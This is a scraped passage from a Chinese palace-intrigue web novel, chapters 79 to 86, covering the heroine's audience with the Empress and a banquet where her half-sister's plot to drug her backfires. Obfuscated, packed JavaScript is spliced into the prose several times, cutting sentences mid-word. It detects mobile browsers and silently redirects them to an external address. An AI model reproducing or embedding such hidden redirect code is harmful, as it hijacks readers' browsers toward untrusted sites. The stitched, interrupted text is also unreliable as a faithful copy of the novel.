l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566122|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扮的太过华丽惹眼。 进宫后,秦时月带着小荷直奔凤仪宫。 此时皇后正陪着皇上用早膳,秦时月不敢打扰,只能跪在殿外。 绘春心疼,请她起来候着,却被她拒绝了,绘春没办法,只能进殿里伺候,小声在皇后耳边汇报了此事。 皇后动作顿了一下,最终还是含笑陪着皇帝吃完了这顿饭。 送走皇帝,她才让绘春将人请进来。 路上的事梁斌几人已经全部告诉她了。 说实话,初听到那些事,不震惊是假的。 她怎么都没想到,一个闺阁贵女,竟然是个武功高手… “娘娘。”秦时月一进门就跪在当场。 小荷心疼她,却不敢多嘴,只能跟着跪下。 皇后深吸口气,最终还是免了她的跪拜大礼。 只是秦时月不敢动弹,始终跪伏在地,“娘娘,时月有事隐瞒了娘娘,实在是不敢起身。” “起来吧,本宫相信你并非有意欺瞒。” 在听到秦时月会武功的时候,皇后不是没想过她救自己,接近自己的目的,可只要一想起秦时月当时脸色惨白,呼吸微弱的样子,皇后怎么都硬不起心肠。 现在,虽然秦时月的脸色好看多了,但她身量纤纤,一副弱不禁风的样子,只能唤起她的心疼。 秦时月没想到皇后娘娘甚至不问原因就愿意相信她,一时间,她甚至不知道该怎么继续下去。 “县主快起来吧,跪久了仔细膝盖疼。” 绘春收到皇后的示意,连忙走到秦时月身边将她扶起来。 秦时月道声谢,然后垂首道,“多谢娘娘开恩,关于时月会武一事…” “时月,本宫信你。” 皇后看着垂首而立的少女,眼神温柔。 她不傻,此行她派了四个暗卫同行,若是秦时月想要隐瞒,大可不出手。 但她还是出手了,并且对梁斌等人毫无隐瞒。 这就意味着,她早预想到了自己或许会动怒的场面,但她还是出手了。 第79章 信任让爱疯涨 “娘娘…”秦时月抬眸看向皇后,眼中含泪。 谁料皇后朝她招招手,在她走近后,一把握住了她微凉的小手,安抚性的拍了拍,“好孩子,虽然本宫不知道在你身上发生过什么,但本宫相信你,也庆幸你会武,能够自保。” 长乐侯府是个狼窝,这孩子有自保的能力,才能在那样的家里长大,这些年,她定过的不容易… 皇后一想到梁斌报给她的那些,心中就忍不住对秦时月多了几分疼惜。 她看着秦时月,眼神柔和,“好孩子,以后在本宫面前,你不必如此拘束,你和辰儿是未婚夫妇,本宫希望你能把本宫当成自家长辈看待。” 秦时月闻言,眼泪顿时不争气的滑了下来。 看到她流泪,皇后有些慌了神,“好了好了,快别哭了,本宫真的不怪你。” “娘娘,时月,时月是觉得太幸福了。”秦时月吸吸鼻子,捏着丝绢擦干了泪痕。 这番话,是前世的她一直在追求的东西,哪怕当初长乐侯夫人曾说过一句类似的话,她也不会在绝望中死去。 可今生,在她不再需要亲情的时候,上天将皇后娘娘送给了她… 在这一刻,秦时月做下决定,无论以后发生什么,她都会守护好皇后,绝不让她受到伤害! “说起来,你这次将辰儿平安带回来,本宫该好好谢谢你才是。”皇后宠溺的看着她,越看越喜欢。 这段时日秦时月做过什么,梁斌事无巨细的报给了皇后。 也正因为这样,皇后才确定,秦时月对宋墨辰应当是动了真心,这也让她更加放心。 “娘娘,您太客气了,王爷能平安归来是因为有福星护佑,也是时月的福气。”秦时月此时已不像刚来时忐忑,听皇后提到宋墨辰,忍不住低下头,羞红了脸。 皇后看着她这幅小女儿家的模样,忍不住轻笑出声,正要说什么,宫人来报,说辰王进宫请安。 “瞧瞧,正说他呢,他就到了。快请进来吧。”皇后瞅着秦时月娇俏的模样,忍不住打趣,“你和辰儿还真是有缘分,回头让陛下选个好日子,早点给你们完婚才好。” 早点完婚? 秦时月皱皱眉,表情有些不自然。 一旦完婚,便意味着她要随宋墨辰住进王府,这样一来,长乐侯府的人或事,她就鞭长莫及了… “怎么,不愿意?” 皇后有些看不懂了。 从秦时月表现出来的那些,她能感觉到她对宋墨辰并非无情,可为何一提到完婚,她的神情就如此耐人寻味了? 秦时月连忙摇头,“娘娘误会了,时月只是…只是想到母亲尚在病中,正是需要人照顾的时候…” “当真如此?”皇后一副早已看破一切的样子,顿时让秦时月沉默下来。 皇后叹口气,又拍了拍她的小手,“好了好了,本宫不关心你的家事,既然你不急着完婚,那便再等等,左右你年纪还小,本宫啊,也不急着抱小孙儿。” 听到“小孙儿”几个字,秦时月顿时脸颊通红。 就在这时,宋墨辰进来了。 他在看到秦时月的时候明显愣了一下,反应过来,还是规规矩矩给皇后行了个礼。 “行了,起来吧。”皇后笑看两人,然后朝绘春抬抬手,“本宫乏了,你扶本宫去休息会儿,你们自便吧。对了辰儿,若是平日没有其他事,你也多邀时月外出走走。” 说完,她和绘春便离开了。 秦时月想到皇后的那些话,在面对宋墨辰的时候有些不好意思,福福身子,迟迟不知道该怎么开口。 “才一日不见,时月便与我这样生分了?”宋墨辰眼角眉梢带笑,故意逗弄她。 秦时月垂下眸,俏脸通红,“殿下,这里是皇后娘娘的寝殿,还望您说话注意些分寸。” 宋墨辰知道她的意思,她是担心这些话传出去,给他们的名声造成不好的影响。 思索片刻,他才道,“既然这里说话不方便,不如,咱们出去走走?” 秦时月抬眸看他,然后点了点头。 正好,她也有些事想跟他说。 出宫后,侍书架着车,将二人送到了京中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566123|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最大的酒楼,天香楼。 二人进门后,在小二的引导下直接上了二楼的单间。 “时月可有忌口的?”宋墨辰笑问。 秦时月摇摇头,好奇的打量了一眼房间的布局。 前世今生,她还是头一次来这里。 前世在她成为冤魂,被困于后院后,她时常听到秦怀瑾提到这座天香楼。 她只知这座酒楼是近期开办的,但不久后便成了京中有名的权贵**地,日进斗金。 只是听说这幕后东家却极为神秘,她不知,恐怕就连秦怀瑾都不一定知道。 宋墨辰点了几道菜,小二退下后,秦时月也回过了神。 “殿下可是…” “叫我全名,或墨辰。”宋墨辰固执的看着她。 他不喜欢她在面对自己时这般生疏,这会让他觉得自己和宋砚辞在她心中的位置是一样的。 秦时月俏脸一红,清清嗓子,低声唤道,“宋,宋墨辰。” 墨辰…她实在叫不出口。 宋墨辰眼睛一亮,耐心的等着她的下文。 “咳,你经常来这里吗?我看刚刚的小二似乎认识你。” “这座楼是我的产业,也是你的。” 秦时月心中震惊。 她没想到他会直接承认东家的身份。 这不对吧? 不是说天香楼的幕后东家身份成谜吗? “你怎么这副表情?”她呆萌的样子取悦了宋墨辰,他笑着为她倒了一杯茶,“我名下有些产业,很意外吗?” 她身为长乐侯府嫡长女,掌家或出阁,家里也会给些铺子做陪嫁,将来那些铺子就是她的产业,这没什么吧? “不,不是,只是没想到王…你这么厉害,不仅能带兵打仗,还有如此的经商头脑。” 秦时月说的认真,眼中的钦佩羡慕更是不加掩饰。 她曾想过,若想脱离长乐侯府,首先就是要有自力更生的手段,最好有几家在自己名下的铺子。 这也是为什么她会支持芳娘掌家的原因之一。 第82章 门厅冷清?不急,不急 老夫人闻言,脸色再次难看起来,“你身子如此不好,如今举办赏花宴怕不是好时候。” 她虽然不知道秦时月的打算,但她就是不想让她如愿。 秦时月微微一笑,“如今掌家的是芳姨娘,孙女也只是告知您一声,至于能不能办,还得芳姨娘说了算。” 老夫人被气的脸色铁青,不自觉的攥紧了身侧的扶手。 可她心里再不悦,也没糊涂到斥责秦时月,毕竟,她是长乐侯府的嫡女,还是皇后亲封的县主、辰王未来的王妃。 她若想办赏花宴,无论是出于什么目的,都没人能阻止。 想到这些,老夫人就觉得心脏一阵阵揪痛,偏偏拿她又没有一点办法。 冷哼一声,她咬牙道,“既然你已经决定,那就好好准备吧。只是你记住,就算你身份高贵,宴会上闹出岔子,也没人替的了你!” 秦时月含笑应下,像是听不出老夫人话里的威胁。 不过,岔子? 她等的就是他们出手!这一世她要让那些曾经欺辱过她的人,一一付出代价! 离开老夫人的院子,秦时月命小荷去知会了芳姨娘一声,然后便开始着手准备赏花宴的事情。 三日后,赏花宴如期举行。 长乐侯府张灯结彩,可来的人却不多。 芳姨娘不安的看看身边面色不变的秦时月,有些担心,“大小姐,你别动气,一定是那些公子、贵女们没有仔细看请帖,所以才会……” “放心吧,我没事。我还没感谢你呢,小荷给我看过菜单,看得出来,你是用了心的。” 秦时月今日她穿了一袭淡粉色长裙,裙摆摇曳,衬的她宛如春日里最娇艳的花朵。 头上插着精美华贵的琉璃流苏簪子,随着动作而轻轻摇晃,发出清脆的叮咚声。 此时大方微笑,与今日的装扮相映成趣,更添了几分高雅从容。 芳姨娘眸中闪过一丝惊艳,随即笑着摇摇头,“大小姐客气了,我去看看后厨准备的怎么样了。” 虽然她很想说,今日的准备或许都是白费的,可看到秦时月身着华服、面带微笑站在门口迎宾,她就怎么都说不出来。 说到底,秦时月也只是个十六七岁的小姑娘… 芳姨娘前脚才离开,侯府门口突然停下一辆奢华的马车。 秦时月脸上笑意不减,只是眼神却暗了暗。 “时…秦大小姐。”陆明昭翻身下马,一看到秦时月,眼睛都直了。 他以前怎么没发现,她不仅沉鱼落雁,更如一朵静静绽放的牡丹,雍容高贵,让人移不开眼。 “陆世子。”秦时月福福身子,当余光扫到车帘掀开时,嘴角的笑意更深了。 不等陆明昭欣喜若狂,身后便传来一道惊呼,紧接着便是小喜惊慌的声音,“姨娘,姨娘您没事吧?” 听到动静,陆明昭这才意识到他和秦时月的身份,立刻转身。 在看到秦可云捂着小腹,一脸惊魂未定后,不耐的皱皱眉走了过去。 “我说你怀着身孕不方便参加,你偏要来,若是有个好歹,看你怎么办。” 秦可云捏紧了帕子,脸上却努力堆出一丝娇羞,“世子提醒的是,妾身会注意的。” 她不能让人看出她婚姻不幸,尤其在秦时月这个**面前! 陆明昭眼神微沉,却没再多说什么。 秦时月将这一幕看在眼里,笑的有些意味深长,“秦姨娘身子笨重,先里边请吧,里边有软垫,一会儿让小荷给你准备上。” 不知是不是怀孕胃口大开,如今的秦可云与先前做姑娘的时候大相径庭。 当初她身量纤纤,虽长的并不出众,但总算是小家碧玉,可如今的她胖了不少,脸圆了一圈,显得眼睛脖子又小又短… 秦可云最恨别人唤她姨娘,可木已成舟,她就是心里再恨,也只能强忍着。 感受到秦时月打量的目光,她连忙牢牢抓紧陆明昭,然后娇笑着看向秦时月,“多谢大姐姐关心,我…” “秦姨娘,我可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566126|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得母亲什么时候给我生过妹妹,你还是别乱叫的好,免得等下其他人到了误会。”秦时月打断她的话,眼底带着明显的嘲讽。 秦可云面子上有些挂不住,刚要反驳,却被陆明昭狠狠甩开,“够了!还不够丢人现眼的吗?” 长乐侯府嫡女宴客,一般的庶子女、姨娘、小妾都是没资格参加的,今日要不是秦可云求着,要不是她除了妾室的身份,还是长乐侯府嫡次女的身份,陆明昭根本不会带她来。 谁知她一来就闹出这么多事,陆明昭顿时悔的肠子都青了。 秦可云狠狠攥着拳,面上却不露一点。 “陆世子,里边请。”秦时月心里舒爽,动作更加优雅。 陆明昭朝秦时月笑笑,不顾秦可云,抬腿往里走去。 秦可云心里气急,在经过秦时月身边的时候,忍不住停了一下,嘲讽道,“姐姐,听说你发出去了不少请帖,可我看,来参加的人貌似并不多,该不会,大家对你有什么误会,都不敢来吧?” 外间的传言她比谁都清楚,毕竟,在听到那些话后,她也曾命人添油加醋了一番。 如今长乐侯府门庭冷落,正是她想要的结果! 秦时月笑笑,突然凑近,“秦可云,没记错的话,今日是你的生辰吧?陆世子不在家陪你,反而来应了我的宴会,你不会生气吧?” **!她果然是故意的! 秦可云脸色大变,眼底的恨意几乎喷涌而出。 在接到秦时月的请帖的时候,她不是没挣扎过,不是没哀求过,可陆明昭一句“都是一家人,不去岂不是驳了秦大小姐的面子。再说了,年年都过生辰,有什么打紧的”就把她给打发了。 原本,秦可云已经消气了,毕竟一起来参加赏花宴,可以那些对陆明昭有想法的京中贵女们看看他们是如何相爱的,也能打消她们的念头。 可如今秦时月突然提起,瞬间激怒了她。 就在秦可云差点忍不住要发疯骂人的时候,身后突然传来一道高呼。 第83章 算计?你暴露啦 “长公主驾到~” 秦时月退后半步,款款走下台阶,面对那辆豪华的车架恭敬地行了一礼,“时月恭迎长公主殿下。” 秦可云在最初的错愕后,忙在小喜的搀扶下跪地,浑身哆嗦的请安。 长公主…那可是当今皇上的亲姐姐,身份尊贵无比! 她没想到,秦时月竟然能请动她来参加宴会。 今日来的宾客寥寥无几,长乐侯府的下人们原本都有些漫不经心的,此时全都慌忙上前跪地迎接,没有一人敢抬头。 唯独秦时月,行过礼就直起身子,抬眸看向马车。 长公主府的车架华丽非凡,四周点缀着精致的珠玉流苏,在阳光下熠熠生辉,无一处不彰显着长公主的尊贵身份。 片刻,车帘被掀开,长公主款款走下马车。 “免礼。”在看到秦时月的那一刻,长公主的脸上明显多了几分笑意,“时月,本宫可来晚了?” 秦可云曾无数次幻想自己成为众人焦点的场景,却没想到,这一切都被秦时月轻易得到了,而她,只能以如此卑微的姿态迎接长公主的驾临… 听着长公主亲切的称呼,秦可云的眼里闪过一抹不甘与嫉妒。 “殿下来的正好,快请进。” 秦时月不敢说她们之间的感情有多浓厚,但她看得出来,长公主对她是有情分的,她也乐得和长公主拉进关系。 大抵是听闻长公主亲临长乐侯府的事,不过一盏茶的功夫,长乐侯府的门口便门庭若市,几辆奢华的马车几乎堵住了侯府门口。 车马停下,身着华服的公子、贵女们纷纷下车,在侯府下人的引领下,嬉笑着进了侯府。 看到这一幕,秦可云脸色阴沉,几乎揉烂了一张手绢。 而原本还担心无人赴宴的芳姨娘,此时脸上笑容亲人,眼神如释重负,端着一副当家主母的姿态接待着来客。 “诸位公子、小姐,快里边请,今日大小姐特地办了这场赏花宴,诸位可一定要尽兴啊。来人,带公子、小姐们入席。” …… 此时,长公主端坐在主位和秦时月话了会儿家常。 见人到的差不多了,秦时月款款上前,笑对众人,“今日能得长公主殿下和诸位赏脸,是时月的荣幸。为表谢意,府上特地备下薄酒几杯,愿诸位能开怀畅饮,共赏这满园春色。” 她话音才落,四周顿时响起窃窃私语声,大多都是艳羡的声音,毕竟,除她之外,还从没有人能请到长公主的大驾。 不远处,秦可云冷着一张脸,在看到一个熟悉的身影后,嘴角勾起一个残忍的弧度。 她抬手唤来小喜,在她耳边低声嘱咐几句,然后才笑盈盈的离开原地。 “马公子。”秦可云盈盈一拜。 她本想给对方留下惊鸿一瞥的感觉,可她对自身认知不足,只惹的马文松一阵反感。 “咳,原来是秦姨娘,秦姨娘可是有事?” 马文松碍于定远侯府的威名礼貌打招呼,但双腿实在的退后了两步,与她保持着一定的距离。 谁不知秦可云是靠和陆世子在琼花宴上苟合才有了今日的地位,若是让外人看到他们在这里私自见面,难免不会误会,到时候,他就是有一百张嘴都说不清。 他虽然态度和善,但眼中的嫌弃却如一根刺,狠狠扎进了秦可云的心里。 她攥紧拳头,面上带着牵强的笑,“我有件事想跟马公子说,只是现在人太多,宴会又要开始了,不方便,不知马公子一会儿有没有时间,宴会结束后,你来这里找我,我跟你细说。” 马文松干笑两声,“事关什么?你总得透露点,否则…我实在不好跟你见面啊。” “事关…马大人的官运。” 马文松身体一僵,脸色当即凝重起来。 秦可云如今是定远侯府的姨娘,想必是从陆世子那听说了什么。 看到他的反应,秦可云在心里笑笑,也不等他回话,福福身子转身就走。 秦时月,你算计了我一次,这一次,也该我算计你了! 我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566127|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你从今往后再也翻不了身! 两人心里各自有事,回到宴席上才知道,辰王和太子殿下竟然到了。 秦可云在听到宋砚辞和宋墨辰的那一刻,眼里瞬间浮现出一丝阴鸷。 **!为什么她举办个赏花宴,不仅长公主殿下亲临,就连太子殿下也到了? 不过,这样也好。 秦时月不是辰王府未来的王妃吗?那她就送辰王一份大礼,她倒要看看,秦时月和人当众苟且,辰王还会不会要她! 宴会开始,秦可云端着酒杯,款款走到秦时月身边。 “姐姐,妹妹敬你一杯,祝你和辰王殿下早日喜结连理。”秦可云面上带着得体大方的浅笑,眼底却暗藏杀机。 秦时月挑挑眉,回想起小荷先前跟她说的话:小姐,奴婢刚才见秦可云在后花园见了马文松马公子,不过距离远,奴婢没听到他们在说什么…… 原来,她打的是这个主意啊。 秦时月眉眼带笑,伸手接过了杯子。 就在秦可云满眼惊喜的时候,她突然说道,“正好当着众人,我想澄清一件事。我母亲并未给我生下弟、妹,除了一个兄长秦怀瑾,一个弟弟秦明远,我秦时月,不认任何人。” 此言一出,全场哗然,若不是长公主、宋砚辞和宋墨辰在场,现场恐怕早已乱套了。 秦可云当众颜面扫地,脸色瞬间变得铁青,她垂下头,紧紧攥着拳头,指节泛白,指甲嵌入掌心都没察觉到。 秦时月将众人的反应收入眼底,然后笑着看向秦可云,“不过,秦姨娘的祝福,本县主收下了,本县主也该回敬秦姨娘一杯。” “不,不必了,我,我…” 秦可云被她算计过一次,哪敢再接她递上的东西。 就在她惊慌失措的打算借口自己有孕在身,不适合饮酒的时候,秦时月开口了。 “怎么?秦姨娘这是不给本县主面子?”不等秦可云再拒绝,她转头吩咐小荷,“秦姨娘有孕在身,不适合饮酒,去,取一杯渍梅汁来。” 第84章 宋墨辰吃味 大家都在看好戏,只有陆明昭沉了脸。 这个蠢货,明知道时月不喜欢她,她还敢往上凑,这不是找不痛快吗? 她自己丢脸倒是没什么,可她现在是定远侯府的姨娘,她这不是给定远侯府抹黑吗? 看到秦时月落了她的面子,陆明昭心里一阵烦躁,恨不得立刻将秦可云带走。 可偏偏此时,秦时月已经端起了酒杯,笑看向他。 陆明昭怔愣一下,心跳有些不受控制。 “陆世子,今日时月照顾不周,这一杯,我敬你,和秦姨娘,望你们夫妾和睦,白头偕老。” 陆明昭皱皱眉,心口像是堵了一块石头。 虽然心里难受的厉害,但碍于场合,他还是端着酒杯与秦时月遥遥相敬。 秦可云的眼里浮现出一丝怨毒。 夫妾和睦…… 妾妾妾! 秦时月这个**,无时无刻不在提醒她,她就是个笑话! 不过不要紧,等这个**喝下杯子里的好东西,她也要她成为全京城的笑话! 秦可云心里恶毒的想着,表面却和陆明昭同步,端着渍梅汁,和秦时月遥遥相敬。 秦时月将她的表情、动作尽数收入眼底,勾勾唇,将杯中的酒一饮而尽。 宋墨辰皱皱眉,有些心疼她,也有些,吃味。 他端起酒杯,自顾自的闷了一杯。 宋砚辞见状挑挑眉,凑到他耳边,故意道,“我看秦大小姐和陆世子之间,关系似乎有些不同寻常,你真的不重新考虑考虑你们的婚事?” 秦时月,他志在必得,只是他们有婚约在身,确让他有些头疼。 “我听不懂皇兄的意思,时月,我这辈子都不会放手。” 宋墨辰说完,随手将酒杯放下,然后走到了秦时月身边。 宋砚辞气的捏紧酒杯,脸上只剩阴鸷。 “时月,我还不曾好好逛过长乐侯府,不知你可愿为我引路?”宋墨辰挤开陆明昭,垂眸看着她。 这一幕给秦时月一种错觉,就好像,他满心满眼,都是她一般。 秦时月小脸一红,脸上一阵燥热。 秦可云哪会让他们单独离开?如今秦时月喝下了加了料的酒,此时他们离开,那接下来的事就不受她控制了。 她左右看看,远远看到秦怀瑾正恨恨看着这边独饮,眼珠子一转,她转身朝秦怀瑾走去。 “大哥,你怎么一个人在这喝闷酒?”秦可云款款走到秦怀瑾身边,轻声问道。 秦怀瑾本就因为秦时月今日的风光,秦明远在众人面前卖弄学问而心生不满,此时看到秦可云挺着孕肚找过来,心里的不满更甚。 “你关好陆明昭就是了,过来管我做什么?”秦怀瑾冷哼一声,重重放下酒杯。 原本他还想着,秦时月名声不好,无人来参宴,她的名声会一臭再臭。 可他怎么都没想到,长公主,太子,辰王,一个个像是说好了一样,都来给她撑脸面了。 这下可好,今日过后,京中不仅无人再敢说她秦时月一句不好,而她也成了京中人人争相巴结的对象! 这样也就罢了,芳姨娘带着秦明远在宴会上处处拉拢人心,有许多以前跟他交好的,现在都围着秦明远畅聊,像是看不到他一样! “大哥,你这是说的什么话?咱们是一家人,我关心你不应该吗?” “一家人?秦可云,我不傻,你刚刚想做什么,大家都看在眼里,现在你吃了瘪想起我这个‘家人’了,你觉得有趣吗?”秦怀瑾冷笑一声,看着现在的她,眼里在没有半分以前的怜惜。 “你!”秦可云努力压抑着怒气,拳头攥到发白。 深吸口气,她不再装,直接挑明了来意,“难不成大哥就愿意看到她出尽风头?我有一个法子,能让她身败名裂,永远都翻不了身,大哥想不想听听?” 她在试探,一旦秦怀瑾露出一丝有兴趣的样子,她就会请他相助。 到时候他支开辰王,剩下的事,就会水到渠成! 秦怀瑾仰头喝下一杯酒水,眼底闪过一丝疯狂,“将你的计划说出来 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秦时月笑笑,满脑子都是秦可云,压根没察觉到宋墨辰的不对劲。 听到她要私下宴请自己,宋墨辰的脸上终于多了几分笑意。 就在这时候,秦怀瑾突然端着酒杯过来了。 秦时月挑挑眉,余光扫了眼不远处张望的秦可云。 她也就这点心计,诚如东方苑所说,自己前世还真是够笨的! “辰王,怀瑾有些话想私下跟您说,您看…” “时月是本王未来的王妃,有什么话当着她说就好。”宋墨辰在心里冷哼一声。 他对整个长乐侯府都没什么好印象,尤其秦怀瑾。 秦怀瑾可是秦时月一母同胞的亲哥哥,可他却一心向着外人,上次若不是自己恰好到长乐侯府辞行,还真不知道,他竟然是这样一头喂不熟的狼! 秦怀瑾攥紧酒杯,脸上闪过一丝急切。 第85章 男宾席大乱 可不等他说话,秦时月先笑着为他解了围,“既然兄长找王爷有要事相商,那时月就先退下了,宴会来宾众多,时月也不好叫大家空等着。” 她投给宋墨辰一个安定的眼神,然后离开了现场。 宋墨辰皱皱眉,猜测她有自己的计划,只能按捺住想追上去的心思,听秦怀瑾废话。 秦时月本想去找长公主说说话的,谁知还没出花园,就被截住了。 “时月,今日本宫不请自来,会不会给你造成困扰啊?” 宋砚辞笑看着秦时月,眸底带着几分深意。 秦时月心里冷笑:这是在怪自己办宴会没请他? 她笑盈盈的福福身子道,“殿下能来是时月的荣幸,时月高兴还来不及呢。” 宋砚辞的目光放肆的在她身上停留片刻,满意的点点头,“时月不怪本宫就好。你今日这身装扮不错,很衬你。” 秦时月低头看了眼自己身上的衣服,“这是芳姨娘准备的,说是请容华阁的绣娘连夜赶制的,此衣能入殿下的眼,是它的福气。 她落落大方,却让宋砚辞沉了眸。 她这是故意装作听不懂自己在说什么,还是真的不懂? 就在宋砚辞还想说什么的时候,小荷匆匆走近,恭敬的福福身子,然后迅速走到秦时月耳边低语几声。 秦时月当即就捂着嘴轻呼出声,“什么?竟然出了这种事?” “怎么了?出什么事了?”宋砚辞皱皱眉,这种不受掌控的状况让他很不爽。 “这……”秦时月一脸为难。 还是小荷忍不住,一股脑说了出来,“小姐,事情已经瞒不住了,正好太子殿下在,您何不请殿下帮您拿个主意?” “你说。”宋砚辞对小荷的识相很满意,挑挑眉,命令道。 “殿下,是,是定远侯府的秦姨娘,她,她在男宾席当众扯了外裙,闹的鸡飞狗跳的!”小荷闭着眼,像是豁出去般喊道。 “放肆!竟然敢污了太子殿下的耳朵,还不下去请罪?”秦时月呵斥一声,待小荷匆匆离开,她才回眸看向宋砚辞,“殿下,此事还未知全貌,您千万别动怒。” 宋砚辞原本是没动怒的,毕竟丢人现眼的不是他,可秦时月这话倒是提醒了他。 今日的宴会是她办的,此事真要是闹大,她这个主家也逃不了被笑话的命运。 所以这个时候,正是他展现太子权威的时候! “本宫没动怒,但她做出那等伤风败俗之事,本宫能忍,难不成要姑姑也忍下去?走,你跟本宫一起过去看看!”宋砚辞说完,不等秦时月反应,就大步流星朝男宾席的方向走去。 秦时月看着他的背影,嘴角勾起一抹冷笑。 秦可云啊秦可云,这一次,我看你怎么收场! 此时,男宾席已经大乱,陆明昭黑着一张脸,和小喜一起将秦可云抱住,可秦可云方才在众目睽睽之下将身上的外裙脱下,此时只剩一件肚兜,身上的风光是遮都遮不住。 周围的议论声、嘲笑声,让陆明昭无地自容。 偏偏秦可云像是听不到般,只是不断抓挠着自己的身子,还不断发出“好痒,痒**”的声音。 长公主听到动静,已经先一步赶到。 看到这一幕,她只觉得自己的眼差点不保,“放肆!这是怎么回事?好好的赏花宴,怎就闹成了这样?” 秦可云的眼里全是慌乱、无地自容,却仍强撑着说道,“我,我不知道,我就是突然好痒,控制不住自己……殿下,殿下救救我啊……” 陆明昭看到她这样,眼里只剩厌恶和嫌弃,奈何她的身份,只能黑着脸朝长公主行礼,“殿下,秦姨娘身体不适,明昭这就送她回去,改日再登门致歉。” “今日的宴会是明月举办的,若说致歉,你怕是要给明月致歉才对吧?”长公主嫌恶的捏着丝绢捂着鼻子,冷哼一声。 陆明昭的脸色青白交错,却不得不咬牙应下。 一个妾室,竟让他颜面尽失!若不是她怀着他的骨肉,他当场就要处置了她! 陆明昭和小喜拥着秦可云向外走,正巧碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说着,她直起身子环视一周,以近乎哀求的语气继续,“各位公子、小姐,今日让大家看笑话了。虽然秦可云并非时月的亲人,但她到底在母亲膝下教养三年,时月恳请各位离开后千万不要将今日之事外传。” 第86章 长公主心疼她 她言辞恳切,原本该让人动容,可人群中不知谁说了一句“听说秦大小姐在外养病的三年,秦可云日日守在长乐侯夫人身边,礼教必然是长乐侯夫人亲自教养的,没想啊……” 这话一出,人群瞬间沸腾起来,议论声、嘲笑声此起彼伏。 秦时月低下头,嘴角勾起一抹冷笑,眼里带着几分戏谑。 今日这场戏,不知会不会让佛堂的那位失望…… 至于秦可云,名声被毁,珠胎暗结,如今又当众自毁衣服出丑,日后在定远侯府,怕是再也没有好日子了…… 想到这些,秦时月就觉得舒爽无比,可比起上一世她经历过的那些,这些,不过是九牛一毛。 她微微眯起双眸,嘴角的冷笑更甚。 “行了。”身后突然传来长公主的声音,声音不大,威压十足。 人群瞬间安静下来,皆恭敬的垂首而立,噤若寒蝉。 “此事虽然由秦姨娘引起,但时月有句话提醒了本宫。”长公主板着脸走到秦时月身边,看着众人道,“究其原因,还是长乐侯夫人对子女疏于管教,各位日后切记要悉心教养子女,切莫学长乐侯夫人。” 此言一出,众人纷纷附和,只有不远处刚刚赶到的秦怀瑾攥紧了拳头。 长公主一番不痛不痒的话,却将他也说了进去。 他将来是要继承世子之位的,如今被扣上一个没有教养的名声,日后如何服众? 偏偏这番话是长公主说的,而且,秦可云的所作所为有目共睹,谁也说不出什么,就算他也没有办法反驳。 想到这,他眼神一沉,不自觉向秦时月看去。 秦可云明明说过,今日要让秦时月身败名裂,怎么到头来丢脸的却是她和母亲? 秦怀瑾目光阴鸷,心里隐隐有个猜测。 长公主说完,在嬷嬷的搀扶下,转身往花园走去,其他人见状,这才散开,继续三三两两的聚到了一起。 秦时月向宋砚辞福福身子,不等他开口,便先一步离开,追着长公主去了花园。 “多谢殿下。”一追上,秦时月就小声道谢。 长公主挑挑眉回头,突然噗嗤一笑,“你这个小机灵鬼儿,竟然瞒着本宫下了这么大一盘棋,你就不怕被人将军?” “时月此举实属无奈。”秦时月苦笑一下。 如今她在侯府的情况很复杂,前有狼后有虎,若不是她有前世的记忆,若是她不谨慎谋划,今日她就会走上老路…… 听到她这么说,长公主无奈的叹口气,伸手拉住了她,“本宫没有怪你,本宫的意思是,你有什么计划,都可以告诉本宫,只要是本宫能做到的,本宫都可以帮你料理了。” 她这双纤纤玉手,实在不该沾染这些腌臜事。 秦时月眼眶一红,噗通一声跪在地上,“多谢长公主厚爱,只是有些事,时月还是想亲自动手。” 她必须亲手将上一世的仇报了,只有这样,她才能真正的放下,重新开始。 看到秦时月决绝的样子,长公主心疼不已,最却只是无奈的叹口气,“罢了罢了,本宫都依你。只是你要记住,无论发生什么事,本宫都是你的后盾。” 秦时月抬眸,感激的看着她,“多谢殿下,时月记下了。” 